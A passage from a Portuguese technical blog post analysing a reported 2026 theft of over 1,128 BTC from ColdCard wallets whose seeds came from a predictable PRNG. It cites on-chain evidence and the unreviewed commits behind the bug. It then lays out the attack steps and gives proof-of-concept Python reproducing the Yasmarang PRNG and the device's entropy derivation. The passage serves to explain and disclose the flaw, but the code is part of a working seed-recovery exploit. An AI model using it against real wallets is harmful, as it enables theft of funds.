    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>A chave privada é só um número inteiro. A partir dele, a <a href="/2019/11/26/akitando-68-entendendo-conceitos-basicos-de-criptografia-parte-2-2/">curva elíptica</a> calcula a chave pública; a chave pública é hasheada até virar o endereço. O endereço é o que aparece na blockchain; o número inteiro é o que permite gastar.</p>
<p>No caso ColdCard, o número inteiro não tinha 128 bits de aleatoriedade real. Tinha ~40. Então, em vez de procurar uma agulha no universo, o atacante procurava uma agulha em uma floresta pequena.</p>
<h2>Evidência real na blockchain<span class="hx:absolute hx:-mt-20" id="evidência-real-na-blockchain"></span>
    <a href="#evid%c3%aancia-real-na-blockchain" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Não estou inventando números. O site independente <a href="https://coldcard-watch.vercel.app/"target="_blank" rel="noopener">coldcard-watch.vercel.app</a> vem rastreando os drains transação a transação e publica o mínimo verificado: <strong>1.128,6633 BTC</strong> drenados de <strong>2.334 endereços</strong> confirmados. O próprio site deixa claro que esses são <strong>mínimos verificados, não totais</strong> — outras clusters provavelmente existem.</p>
<p>Ele identifica dois episódios de drenagem:</p>
<ul>
<li><strong>30 de julho de 2026</strong>, blocos <strong>960183 a 960191</strong> — 1.195 endereços drenados.</li>
<li><strong>31 de julho de 2026</strong>, blocos <strong>960345 a 960369</strong> — 1.126 endereços drenados.</li>
</ul>
<p>Os principais clusters públicos que compõem esse mínimo incluem:</p>
<ul>
<li><a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener"><code>bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0</code></a> — <a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener">recebeu 594,47723261 BTC</a> em 501 outputs.</li>
<li><a href="https://mempool.space/address/bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3"target="_blank" rel="noopener"><code>bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3</code></a> — <a href="https://mempool.space/tx/14edd9ee8445793c320e92e3b50365a0e18b8b25f424044bce337463f007fdd2"target="_blank" rel="noopener">recebeu ~398,476 BTC</a> em uma única transação com 491 inputs (<a href="https://mempool.space/tx/14edd9ee8445793c320e92e3b50365a0e18b8b25f424044bce337463f007fdd2"target="_blank" rel="noopener"><code>14edd9ee...</code></a>).</li>
<li><a href="https://mempool.space/address/bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q"target="_blank" rel="noopener"><code>bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q</code></a> — <a href="https://mempool.space/tx/4b50d61a3d6e54c62ee0be13d7e9a8b69bffe7fc2b2cab4e14da56e4e20440d2"target="_blank" rel="noopener">recebeu ~89,623 BTC</a> em uma única transação com 204 inputs (<a href="https://mempool.space/tx/4b50d61a3d6e54c62ee0be13d7e9a8b69bffe7fc2b2cab4e14da56e4e20440d2"target="_blank" rel="noopener"><code>4b50d61a...</code></a>).</li>
</ul>
<p>Só esses três clusters já somam ~1.082 BTC; as demais transações verificadas levam o total mínimo para <strong>1.128,6633 BTC</strong>.</p>
<blockquote>
  <p>O primeiro cluster transferiu ~562 BTC para <a href="https://mempool.space/address/bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r"target="_blank" rel="noopener"><code>bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r</code></a>; é o mesmo dinheiro, não uma quarta vítima.</p>

</blockquote>
<p>Um exemplo concreto: a transação <a href="https://mempool.space/tx/78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d"target="_blank" rel="noopener"><code>78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d</code></a> consolida três inputs do mesmo endereço vulnerável <a href="https://mempool.space/address/bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr"target="_blank" rel="noopener"><code>bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr</code></a>, sendo um deles de quase <strong>29,9 BTC</strong>. Os três inputs usam a mesma chave pública comprimida:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>037dc5356b71d0209d5d97315450166c07e7bba67d2e53c0154f5c56eb06f6970e</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Ou seja, três UTXOs diferentes, mesmo dono, mesma chave privada. O atacante encontrou essa chave e assinou tudo de uma vez.</p>
<p>Outros endereços de origem com valores expressivos incluem <a href="https://mempool.space/address/bc1qvshd3nv6mjjs5wtk6x5ekppakdp2trqcsdvwlf"target="_blank" rel="noopener"><code>bc1qvshd3nv6mjjs5wtk6x5ekppakdp2trqcsdvwlf</code></a> (~24,08 BTC), <a href="https://mempool.space/address/bc1q30363smzw6uk5n2znj65mf9432s0e3d92e3fu5"target="_blank" rel="noopener"><code>bc1q30363smzw6uk5n2znj65mf9432s0e3d92e3fu5</code></a> (~14,43 BTC) e <a href="https://mempool.space/address/bc1qgzxfgqgvnle9p6kksk35t54ycu2tx2hwau5ppw"target="_blank" rel="noopener"><code>bc1qgzxfgqgvnle9p6kksk35t54ycu2tx2hwau5ppw</code></a> (~11,74 BTC). Você pode clicar em cada um e ver os UTXOs sendo movidos para um endereço de consolidação.</p>
<p>A Bitcoin Optech <a href="https://bitcoinops.org/en/newsletters/2026/07/31/#wallets-generated-by-coldcard-at-risk-of-theft"target="_blank" rel="noopener">edição 416</a> estimava perdas acima de 1.000 BTC enquanto o caso se desenrolava; o rastreamento independente agora confirma <strong>pelo menos 1.128,6633 BTC</strong> roubados.</p>
<h2>O que a timeline na blockchain sugere sobre a ordem do ataque<span class="hx:absolute hx:-mt-20" id="o-que-a-timeline-na-blockchain-sugere-sobre-a-ordem-do-ataque"></span>
    <a href="#o-que-a-timeline-na-blockchain-sugere-sobre-a-ordem-do-ataque" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O <a href="https://coldcard-watch.vercel.app/"target="_blank" rel="noopener">coldcard-watch</a> mostra <strong>dois episódios distintos</strong>, separados por mais de 24 horas. O primeiro aconteceu entre os blocos 960183 e 960191 (30 de julho, por volta de 01:10 UTC); o segundo, entre 960345 e 960369 (31 de julho). Dentro do primeiro episódio, os três grandes clusters (~594, ~398 e ~89 BTC) foram minerados em blocos consecutivos — portanto, dentro de cada onda as varreduras foram disparadas praticamente ao mesmo tempo.</p>
<p>Essa forma de ondas separadas é compatível com duas interpretações:</p>
<ol>
<li><strong>Mesmo atacante, pré-computação em lotes.</strong> A primeira onda pega os alvos mais fáceis e mais bem financiados; a segunda onda vem de um segundo lote de candidatos já pré-computados.</li>
<li><strong>Múltiplos atacantes.</strong> Depois que a falha se tornou pública, outros atores entraram com seus próprios dicionários de estados prováveis.</li>
</ol>
<p>Em qualquer um dos casos, a economia do ataque favorece a ordem da tabela anterior. O Mk2/Mk3 v4 é o melhor custo-benefício:</p>
<ul>
<li><strong>~40 bits efetivos</strong> ≈ 2^40 ≈ <strong>1,1 trilhão</strong> de estados candidatos.</li>
<li>Numa GPU que teste 1 milhão de candidatos por segundo (incluindo derivação BIP32 e consulta ao explorer), levaria cerca de <strong>13 dias</strong> para varrer tudo. Com 100 GPUs/FPGAs, cai para <strong>poucas horas</strong>.</li>
<li>Como o RTC dos Mk2/Mk3 provavelmente começa zerado ou estático no cold boot, conforme a <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> aponta, o SysTick sozinho reduz o espaço a ~80 mil valores (~16 bits), tornando a busca trivial em segundos.</li>
</ul>
<p>Mk4/Q/Mk5 com reseed depende do quanto o fallback é conhecido:</p>
<ul>
<li>Se o fallback é conhecido, só restam os <strong>32 bits</strong> do secure element: 2^32 ≈ <strong>4,3 bilhões</strong> de candidatos por aparelho, ou cerca de <strong>1,2 hora</strong> por dispositivo a 1 milhão/s.</li>
<li>Se o fallback é completamente desconhecido, o espaço sobe para ~2^72, cerca de <strong>4,7 sextilhões</strong> de candidatos — inviável por força bruta pura.</li>
</ul>
<p>Por isso a primeira onda deve ser dominada por Mk3. A segunda onda, mais de um dia depois, pode incluir lotes adicionais do mesmo modelo ou modelos mais difíceis em que o atacante conseguiu perfilar o fallback. Sem identificar o modelo por trás de cada endereço, não dá para afirmar com certeza, mas a ordem de dificuldade está clara.</p>
<p>A velocidade também mostra que o ataque não começou do zero no dia 30 de julho. Para varrer 1,1 trilhão de estados e achar centenas de endereços com saldo, o atacante já tinha infraestrutura pronta ou passou dias ou semanas pré-computando antes de mover os primeiros UTXOs.</p>
<h2>O que a chain revela sobre a operação<span class="hx:absolute hx:-mt-20" id="o-que-a-chain-revela-sobre-a-operação"></span>
    <a href="#o-que-a-chain-revela-sobre-a-opera%c3%a7%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O site <a href="https://coldcard-hack.up.railway.app/"target="_blank" rel="noopener">coldcard-hack.up.railway.app</a> analisa em detalhe as três ondas que esvaziaram 1.082,59 BTC em <strong>41 minutos</strong> (blocos 960183 a 960191). Embora o site avise que foi compilado por um agente de IA e não revisado por humanos, os dados da blockchain são verificáveis:</p>
<table>
  <thead>
      <tr>
          <th>Onda</th>
          <th>Bloco(s)</th>
          <th>BTC</th>
          <th>Endereços</th>
          <th>Observação</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>1</td>
          <td>960183</td>
          <td>~89,62</td>
          <td>204</td>
          <td>Levou tudo, inclusive poeira abaixo do valor da taxa.</td>
      </tr>
      <tr>
          <td>2</td>
          <td>960185</td>
          <td>~398,49</td>
          <td>491</td>
          <td>Ataque mais denso; deixou saldos abaixo de ~0,108 BTC.</td>
      </tr>
      <tr>
          <td>3</td>
          <td>960188–960191</td>
          <td>~594,48</td>
          <td>500</td>
          <td>A onda que a imprensa noticiou; começou 3,5 minutos depois da 2.</td>
      </tr>
  </tbody>
</table>
<p>Detalhes que saltam aos olhos:</p>
<ul>
<li><strong>Ordem por saldo:</strong> dentro de cada onda, as transações foram ordenadas do maior para o menor saldo. Isso não é acidente; é uma fila de prioridade configurada no script.</li>
<li><strong>Formato idêntico:</strong> todas as 1.195 sweeps gastam todos os UTXOs de um único endereço de origem para um único output, sem troco. Não há variação manual.</li>
<li><strong>Taxa uniforme:</strong> mediana de 30,136986 sat/vB em todas as ondas — o mesmo script escolhendo a taxa.</li>
<li><strong>Tipos de endereço:</strong> 1.182 eram SegWit nativo (<code>v0_p2wpkh</code>), 7 P2SH-wrapped e 6 legacy. Portanto o ataque não se limitou a BIP84, embora a maioria dos usuários ColdCard use bech32.</li>
<li><strong>Fundos parados:</strong> até o momento em que o site congelou os dados, os ~1.082 BTC ainda estavam nos vaults, sem mixer, sem peel chain, sem movimentação posterior.</li>
</ul>
<p>Tudo isso aponta para uma única operação automatizada, não para 1.195 roubos independentes.</p>
<h2>Como isso passou despercebido<span class="hx:absolute hx:-mt-20" id="como-isso-passou-despercebido"></span>
    <a href="#como-isso-passou-despercebido" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O mesmo <a href="https://coldcard-hack.up.railway.app/"target="_blank" rel="noopener">coldcard-hack.up.railway.app</a> mapeia os commits que introduziram o bug. Os fatos mais graves:</p>
<ul>
<li>O commit que adicionou a guarda <code>#ifndef</code> errada no <code>libngu</code> teve uma mensagem de <strong>um caractere</strong>, alterou 28 arquivos e <strong>não passou por pull request</strong>.</li>
<li>O commit <code>First pass w/ libNgU</code>, que migrou a geração de seeds para o libngu e removeu código GPL, alterou <strong>120 arquivos</strong> e também foi empurrado diretamente, sem PR.</li>
<li>Os dois commits posteriores que adicionaram o reseed de 32 bits e a mistura do secure element até abriram PRs, mas <strong>foram mergeados com zero reviews</strong>.</li>
</ul>
<p>Uma mudança crítica no caminho de geração de entropia passou sem revisão end-to-end. O TRNG correto existia no binário; o problema foi que o símbolo errado foi linkado, e ninguém escreveu um teste que provasse de onde a seed realmente vinha.</p>
<h2>O passo a passo conceitual do ataque<span class="hx:absolute hx:-mt-20" id="o-passo-a-passo-conceitual-do-ataque"></span>
    <a href="#o-passo-a-passo-conceitual-do-ataque" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Antes do código, o fluxo geral:</p>
<ol>
<li><strong>Reproduzir o RNG.</strong> O atacante implementa o Yasmarang exatamente como no firmware, incluindo o XOR com o segundo Yasmarang do <code>libNgU</code>.</li>
<li><strong>Enumerar estados plausíveis.</strong> Para cada combinação de UID, SysTick, RTC e, nos modelos novos, reseed do secure element, ele gera os 32 bytes que a ColdCard teria gerado como entropia.</li>
<li><strong>Derivar a wallet.</strong> A partir dessa entropia, calcula a mnemonic BIP39, a seed BIP32, e deriva os primeiros endereços de recebimento e troco.</li>
<li><strong>Consultar a blockchain.</strong> Para cada endereço derivado, pergunta a um explorador ou a um node próprio se existe UTXO.</li>
<li><strong>Parar no match.</strong> Quando um endereço derivado bate com um endereço que tem saldo, o atacante já tem a chave privada correspondente.</li>
<li><strong>Gastar.</strong> Com a chave privada, ele monta uma transação que move o UTXO para um endereço que ele controla.</li>
</ol>
<p>A blockchain é o oráculo. Sem ela, o atacante não saberia qual estado gerou dinheiro real. Com ela, cada UTXO encontrado confirma que ele acertou a chave.</p>
<h2>Código de prova de conceito<span class="hx:absolute hx:-mt-20" id="código-de-prova-de-conceito"></span>
    <a href="#c%c3%b3digo-de-prova-de-conceito" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O script abaixo é didático. Ele não foi otimizado para GPU, não roda em segundos contra 40 bits e não lida com todas as variações de firmware. O que ele faz é tornar o ataque legível, função por função.</p>
<h3>1. O PRNG quebrado: Yasmarang<span class="hx:absolute hx:-mt-20" id="1-o-prng-quebrado-yasmarang"></span>
    <a href="#1-o-prng-quebrado-yasmarang" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">yasmarang_step</span><span class="p">(</span><span class="n">state</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;state = [pad, n, d, dat]; muta a lista e devolve um uint32.&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">pad</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">dat</span> <span class="o">=</span> <span class="n">state</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">pad</span> <span class="o">=</span> <span class="p">(</span><span class="n">pad</span> <span class="o">+</span> <span class="n">dat</span> <span class="o">+</span> <span class="n">d</span> <span class="o">*</span> <span class="n">n</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">pad</span> <span class="o">=</span> <span class="p">((</span><span class="n">pad</span> <span class="o">&lt;&lt;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&gt;&gt;</span> <span class="mi">29</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">n</span> <span class="o">=</span> <span class="n">pad</span> <span class="o">|</span> <span class="mi">2</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span> <span class="o">=</span> <span class="p">(</span><span class="n">d</span> <span class="o">^</span> <span class="p">((</span><span class="n">pad</span> <span class="o">&lt;&lt;</span> <span class="mi">31</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&gt;&gt;</span> <span class="mi">1</span><span class="p">)))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">dat</span> <span class="o">=</span> <span class="p">(</span><span class="n">dat</span> <span class="o">^</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="o">^</span> <span class="p">((</span><span class="n">d</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="o">^</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">out</span> <span class="o">=</span> <span class="p">(</span><span class="n">pad</span>
</span></span><span class="line"><span class="cl">           <span class="o">^</span> <span class="p">((</span><span class="n">d</span> <span class="o">&lt;&lt;</span> <span class="mi">5</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">           <span class="o">^</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&gt;&gt;</span> <span class="mi">18</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">           <span class="o">^</span> <span class="p">((</span><span class="n">dat</span> <span class="o">&lt;&lt;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">state</span><span class="p">[:]</span> <span class="o">=</span> <span class="p">[</span><span class="n">pad</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">dat</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">out</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>O que faz:</strong> implementa o gerador determinístico que estava no firmware. É a mesma função que qualquer um pode copiar do <a href="https://raw.githubusercontent.com/micropython/micropython/master/ports/stm32/rng.c"target="_blank" rel="noopener">código fonte do MicroPython</a>.</p>
<p><strong>Exemplo de estado:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">&gt;&gt;&gt;</span> <span class="n">s</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x0A8CE26F</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="mi">233</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="o">&gt;&gt;&gt;</span> <span class="p">[</span><span class="nb">hex</span><span class="p">(</span><span class="n">yasmarang_step</span><span class="p">(</span><span class="n">s</span><span class="p">))</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">3</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="s1">&#39;0x12f99f10&#39;</span><span class="p">,</span> <span class="s1">&#39;0x1e0841df&#39;</span><span class="p">,</span> <span class="s1">&#39;0x8f794c6c&#39;</span><span class="p">]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>2. Do estado do RNG para entropia da ColdCard<span class="hx:absolute hx:-mt-20" id="2-do-estado-do-rng-para-entropia-da-coldcard"></span>
    <a href="#2-do-estado-do-rng-para-entropia-da-coldcard" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">coldcard_entropy</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">,</span> <span class="n">reseed</span><span class="o">=</span><span class="kc">None</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Simula o que a ColdCard fazia para gerar os 32 bytes de entropia.
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">    - MicroPython inicializa seu Yasmarang com:
</span></span></span><span class="line"><span class="cl"><span class="s2">        pad = UID_low32 ^ SysTick-&gt;VAL
</span></span></span><span class="line"><span class="cl"><span class="s2">        n   = RTC-&gt;TR
</span></span></span><span class="line"><span class="cl"><span class="s2">        d   = RTC-&gt;SSR
</span></span></span><span class="line"><span class="cl"><span class="s2">    - libNgU mantém um segundo Yasmarang com constantes públicas.
</span></span></span><span class="line"><span class="cl"><span class="s2">    - Cada palavra de 32 bits é: chip ^ my_yasmarang().
</span></span></span><span class="line"><span class="cl"><span class="s2">    - Nos Mk4/Q/Mk5, o reseed altera o &#39;pad&#39; do estado do libNgU.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">mpy_state</span> <span class="o">=</span> <span class="p">[</span><span class="n">uid_low32</span> <span class="o">^</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">libngu_state</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x0A8CE26F</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="mi">233</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">reseed</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># reseed() no firmware só sobrescreve yasmarang_pad</span>
</span></span><span class="line"><span class="cl">        <span class="n">libngu_state</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">reseed</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># A ColdCard pode fazer chamadas extras antes de gerar a seed (health</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># check, etc.). Na prática o atacante modela o histórico exato de</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># chamadas. Aqui simplificamos para 8 palavras = 32 bytes.</span>
</span></span><span class="line"><span class="cl">    <span class="n">words</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">chip</span> <span class="o">=</span> <span class="n">yasmarang_step</span><span class="p">(</span><span class="n">mpy_state</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">mix</span> <span class="o">=</span> <span class="n">chip</span> <span class="o">^</span> <span class="n">yasmarang_step</span><span class="p">(</span><span class="n">libngu_state</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">words</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&#34;&lt;I&#34;</span><span class="p">,</span> <span class="n">mix</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="sa">b</span><span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">words</span><span class="p">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>O que faz:</strong> monta o estado inicial. O <code>pad</code> do MicroPython é <code>UID_low32 ^ SysTick</code>; <code>n</code> e <code>d</code> vêm do RTC. O libNgU entra com constantes públicas. Cada palavra é o XOR das duas. Esse XOR não cria aleatoriedade: se os dois lados são reproduzíveis, o resultado também é.</p>
<p><strong>Exemplo:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">&gt;&gt;&gt; coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78).hex()
</span></span><span class="line"><span class="cl">&#39;3013f52faaef2a65c47fee63c83e9773d505bd05e4b2b43f56bb8c60ecc66f66&#39;</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>3. De entropia para endereço Bitcoin<span class="hx:absolute hx:-mt-20" id="3-de-entropia-para-endereço-bitcoin"></span>
    <a href="#3-de-entropia-para-endere%c3%a7o-bitcoin" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

